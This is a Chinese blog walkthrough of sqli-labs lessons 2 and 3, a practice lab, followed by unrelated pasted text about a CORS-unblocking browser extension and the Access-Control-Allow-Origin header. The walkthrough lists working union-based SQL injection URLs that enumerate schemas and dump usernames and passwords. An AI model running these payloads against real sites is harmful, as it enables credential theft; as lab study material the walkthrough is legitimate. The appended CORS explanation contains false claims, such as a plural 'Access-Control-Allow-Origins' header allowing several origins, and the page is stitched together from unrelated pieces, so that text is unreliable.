sqli-labs Basic Challenges Less2-3

Less-2  GET - Error based - Intiger based

从题目来看应该是get型的基于报错的数字型注入

打开第二关如下

如同第一关一样先加单引号通过报错信息判断注入类型

http://www.bj.com/sqli-labs/Less-2/index.php?id=1'

可以看到返回的报错信息是

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

这里的错误主要是' LIMIT 0,1

也就是说多了一个单引号,而且这个单引号还是我们自行加上去的。

所以这里可以判断注入点就是数字型了。

如果跟第一关的字符型比较的话,查询语句大概就是

select * from users where id=1 limit 0,1

所以我们添加单引号之后就变成了

select * from users where id=1’ limit 0,1

当然数据库就无法执行要报错啦。

数字型的注入相对于字符型来说要简单许多,因为不需要闭合前面的引号,也不需要注释后面的语句。

还是同第一关一样,先判断当前的查询表的字段数

http://www.bj.com/sqli-labs/Less-2/index.php?id=1 order by 3

order by 3的时候页面显示正常,order by 4的时候就报错了。

所以当前查询的表的字段数依然是3列。接下来就是看显示位了。

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,3

可以看到页面还是选择的查询结果集的第2列和第3列。

再来看看用户名和当前的数据库

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,user(),database()

查询所有的数据库名

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(schema_name) from information_schema.schemata

查询security数据库中的所有表名

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

查询users表中的所有字段名

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

查询username、password字段的内容

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(username,':',password) from security.users

Less-3  GET - Error based - Single quotes with twist - string

看题目的意思是get型的基于报错的单引号变型的字符型注入。

打开第三关如下

首先添加单引号通过报错判断注入的类型

http://www.bj.com/sqli-labs/Less-3/index.php?id=1'

可以看到这里的报错似乎不太一样,返回的报错信息是

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

具体的错误是'1'') LIMIT 0,1

也就是说此处多了一个单引号,原来的格式应该是id=(‘1’)

确实可以说是单引号的变型了,因为单引号的外部还用()括起来了。那么针对这种情况我们肯定是需要闭合前面的(‘并且注释掉后面的语句才行。

首先判断当前表的字段数

http://www.bj.com/sqli-labs/Less-3/index.php?id=1') order by 3 --+

order by 3时页面正常,order by 4时报错了。

可以判断字段数为3,接下来判断页面显示位

http://www.bj.com/sqli-labs/Less-3/index.php?id=-1') union select 1,2,3 --+

可以看到显示位依然是2,3。后面的步骤就同上了。

http://www.bj.com/sqli-labs/Less-3/index.php?id=-1') union select 1,2,group_concat(username,':',password) from security.users --+

此插件为跨域插件,打开后可跨域访问接口,旧版浏览器可直接拖到扩展程序中安装,新版浏览器需要将扩展名修改成rar并解压,然后点击“加载已解压的扩展程序”安装。 ======================插件概述谷歌译文====================== 轻松将(Access-Control-Allow-Origin:*)规则添加到响应标头。 允许CORS:通过Access-Control-Allow-Origin,您可以轻松地在Web应用程序中执行跨域Ajax请求。 只需激活插件并执行请求。默认情况下(在JavaScript API中),CORS或跨源资源共享在现代浏览器中被阻止。安装此加载项将使您可以解除阻止此功能。请注意,将插件添加到浏览器后,默认情况下它处于非活动状态(工具栏图标为灰色C字母)。如果要激活加载项,请按一次工具栏图标。图标将变为橙色的C字母。 ======================插件概述谷歌译文====================== ========================插件概述原文======================== Easily add (Access-Control-Allow-Origin: *) rule to the response header. Allow CORS: Access-Control-Allow-Origin lets you easily perform cross-domain Ajax requests in web applications. Simply activate the add-on and perform the request. CORS or Cross Origin Resource Sharing is blocked in modern browsers by default (in JavaScript APIs). Installing this add-on will allow you to unblock this feature. Please note that, when the add-on is added to your browser, it is in-active by default (toolbar icon is grey C letter). If you want to activate the add-on, please press on the toolbar icon once. The icon will turn to orange C letter. ========================插件概述原文========================
Access-Control-Allow-OriginCORS(跨域资源共享)中的一个关键字段。它用于确定哪些源(域)可以访问特定的资源。在CORS中,服务器通过在HTTP响应头中设置Access-Control-Allow-Origin字段来指定允许访问该资源的源。 根据引用,Access-Control-Allow-Origin的值是单数,表示只允许一个源进行访问。如果设为Access-Control-Allow-Origins,则表示允许多个源进行访问。 根据引用,可以通过设置HTTP响应头中的Access-Control-Allow-Origin字段来指定允许访问资源的源。例如,可以设置多个Access-Control-Allow-Origin字段,每个字段对应一个允许访问的源。 根据引用,Access-Control-Allow-Origin字段也可以设置为星号(*),表示允许任意跨源请求。这意味着任何源都可以访问该资源。 总结起来,Access-Control-Allow-OriginCORS中用于确定哪些源可以访问特定资源的字段,它可以单独指定一个源,也可以设置多个源,甚至可以设置为星号表示允许任意跨源请求。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Cors跨域(三):Access-Control-Allow-Origin多域名?](https://blog.youkuaiyun.com/f641385712/article/details/117902613)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [Access-Control-Allow- 设置跨域资源共享CORS详解](https://blog.youkuaiyun.com/zhangge3663/article/details/117409636)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值